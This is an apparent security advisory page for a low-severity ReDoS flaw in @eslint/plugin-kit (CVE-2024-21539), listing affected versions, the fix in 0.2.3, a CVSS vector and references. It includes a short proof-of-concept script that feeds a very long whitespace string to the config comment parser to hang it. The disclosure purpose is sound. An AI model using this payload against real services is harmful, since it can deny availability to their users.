---
title: "GHSA-7q7g-4xm8-89cq: Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit"
description: "Low severity. Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit. Affects @eslint/plugin-kit; fixed in 0.2.3."
url: https://inlinr.com/advisories/GHSA-7q7g-4xm8-89cq
lang: en
---

[Packages](https://inlinr.com/packages) / [@eslint/plugin-kit](https://inlinr.com/packages/@eslint/plugin-kit) / [Security](https://inlinr.com/packages/@eslint/plugin-kit/security)

Low Vulnerability GHSA-7q7g-4xm8-89cq CVE-2024-21539 Published 15 Nov 2024

# Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit

Your version 

Affected releases · [@eslint/plugin-kit](https://inlinr.com/packages/@eslint/plugin-kit)

- 0.2.x 0.2.0 – 0.2.2 Fixed in 0.2.3
- 0.1.x 0.1.0 No fix on this line yet

On 0.2.x, the newest line:

```
npm install @eslint/plugin-kit@0.2.3
```

Every release on a timeline

1. Affected

0.1.0 – 0.2.2  
4 releases
2. Fixed

0.2.3 – 0.7.3  
21 releases, latest

25 stable releases of @eslint/plugin-kit, oldest to newest.

## What happens

Crafting a very large and well crafted string can increase the CPU usage and crash the program.

POC

```
const { ConfigCommentParser } = require("@eslint/plugin-kit");

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += " ";
}
str += "A";

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseStringConfig(str, ""));
console.log("end")

// run `npm i @eslint/plugin-kit` and `node attack.js` 
// then the program will stuck forever with high CPU usage
```

## How it is exploited

Exploitable over the network, with a low-privilege account and a user to do something.

- **Confidentiality**: none
- **Integrity**: none
- **Availability**: low

CVSS:3.1/​AV:N/​AC:L/​PR:L/​UI:R/​S:U/​C:N/​I:N/​A:L

## References

- [Reference](https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq "https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq")  
github.com/eslint/rewrite/security/advisories/G…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-21539 "https://nvd.nist.gov/vuln/detail/CVE-2024-21539")  
nvd.nist.gov/vuln/detail/CVE-2024-21539
- [Fix commit](https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf "https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf")  
071be84
- [Package](https://github.com/eslint/rewrite "https://github.com/eslint/rewrite")  
github.com/eslint/rewrite
- [Reference](https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627 "https://security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8340627")  
security.snyk.io/vuln/SNYK-JS-ESLINTPLUGINKIT-8…